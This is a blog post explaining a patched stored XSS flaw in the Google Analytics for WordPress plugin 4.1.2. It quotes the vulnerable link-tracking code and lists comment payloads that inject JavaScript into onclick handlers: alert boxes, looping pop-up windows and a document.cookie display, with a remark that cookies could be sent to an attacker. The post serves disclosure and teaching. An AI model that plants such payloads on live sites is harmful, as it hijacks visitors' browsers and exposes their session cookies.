Google Analytics for WordPress 4.1.2 XSS Exploit

WarningOne of my hobbies is to verify the security and integrity of various software platforms and websites that I use day-to-day. Sometimes I spot some glaring insecurities, other times I don’t. Recently I discovered some cross-site scripting (XSS) exploits in the Google Analytics for WordPress plugin (version 4.1.2). Apparently some others noticed this as well and it was reported to the author who subsequently fixed the issue in the next revision (4.1.3). Now that all the responsible administrators have updated their websites–if you haven’t, please update immediately–I thought I’d explain how the exploit works.

What Google Analytics for WordPress Does

In simple terms, the Google Analytics for WordPress plugin has two main purposes:

  • Add the tracking code to your website to track inbound traffic (what websites send your site traffic, etc.)
  • Update your outbound links with some javascript analytics code to track your outbound traffic (from what page do people leave your site and where do they go?)

By doing this you can get the full benefits of Google Analytics, which is quite useful to any web developer, webmaster, or marketing fellow.

Where is the Exploit?

If you’re a clever hacker you’ve probably already realized that the exploit found in the plugin occurs in the outbound link code. Why is this important? Because people often allow open comments on their blogs or approve comments that look harmless but may terribly malicious. Below is the code that parses comment links:

function ga_parse_comment_link($matches){
		return GA_Filter::ga_parse_link('outbound-comment',$matches);
}

This method calls ga_parse_link, which more or less determines the type of link and then passes it to another method like so..

GA_Filter::ga_get_tracking_link($category, $url,'');

This method is where the good stuff happens. The target URL is accepted and placed into $pushstr, which is then written as JavaScript straight to the page as part of the _gaq.push method, which tracks your page stats.

$pushstr = "['_trackEvent','".$prefix."','".$target."']";
return $jsprefix."_gaq.push(".$pushstr.");";

That JavaScript shows up in the link, so it ends up looking something like this:

<a href="http://www.example.com/" onclick="javascript:_gaq.push(['_trackEvent','outbound-article','http://www.example.com']);">Example.com</a>

You can see here that the http://www.example.com portion is the part that ends up in the JavaScript.

How does an Attacker Exploit This?

Well, anyone who posts a comment to a WordPress blog that has this plugin installed could then write arbitrary JavaScript to the page by embedding the JavaScript into a link. The only “catch” is that the link does have to appear to be valid–if you peruse the code a bit you’ll see that there is a regular expression that validates it. But the regex used to validate the link is very primitive so it’s easy to fool it. A simple way to demonstrate the exploit is to post the following into a comment:

If you like this post, you should check out this <a href="http://www.example.com']);alert('example');return false;_gaq.push(['">cool article</a>

This comment would produce a link that looks like this when it's done:

<a href="http://www.example.com/" onclick="javascript:_gaq.push(['_trackEvent','outbound-article','http://www.example.com']);alert('example');return false;_gaq.push(['']);">Example.com</a>

Notice how the JavaScript will now push to Google, then create a message box saying “example,” then return false. To be nice we added _gaq.push([' so that the code would clean up nicely at the end with an empty Google push.

Because this exploit places the code into the onclick event, the victim of the attack would have to click the link for it to be successful.

More Malicious Examples

You could do lots of other naughty stuff with this exploit. Here's a few examples for fun.

Opening a New Window

Launch techblogistech.com in a new window when the user clicks the link. This isn't that bad, but it can get worse; see below.

<a href="http://example.com']);window.open(decodeURIComponent(‘http%3A%2F%2Ftechblogistech.com’));_gaq.push(['">Example.com</a>

Opening a New Window Repeatedly

Continue to launch techblogistech.com in a new window over and over and over again.

<a href="http://example.com']);window.a=function(){window.open(decodeURIComponent(‘http%3A%2F%2Ftechblogistech.com’));a();};a();_gaq.push(['">Example.com</a>

Alert Windows That Never Stop

Continue to alert windows over and over and over again with the text 'oh noes'.

<a href="http://example.com']);window.a=function(){alert(‘oh noes’);a();}a();_gaq.push(['">Example.com</a>

Stealing a Cookie

This doesn't actually steal the cookie, it just displays it in a message box. But JavaScript can access the cookie, which means some crafty JavaScript could easily steal it and send it off into the web somewhere for an attacker to retrieve.

<a href="http://www.example.com/" onclick="javascript:_gaq.push(['_trackEvent','outbound-article','http://www.example.com']);alert(document.cookie);return false;_gaq.push(['']);”>Example.com</a>

Lessons Learned

  • Be careful with WordPress plugins. Even the most reputable plugins can have exploits; no programmer writes perfect code. Do not install every plugin you see on WordPress.org!
  • Always keep your CMS and plugins up-to-date!
  • Beware of WordPress comment spam! Be sure your comments require approval or--at the very least--use a plugin to verify the commenting party is a HUMAN and not a ROBOT!

Related Articles

Scanning your websites for malware? Here are 5 free tools that can help!

How to clean up a hacked site (or how to restore your place in Google’s web results)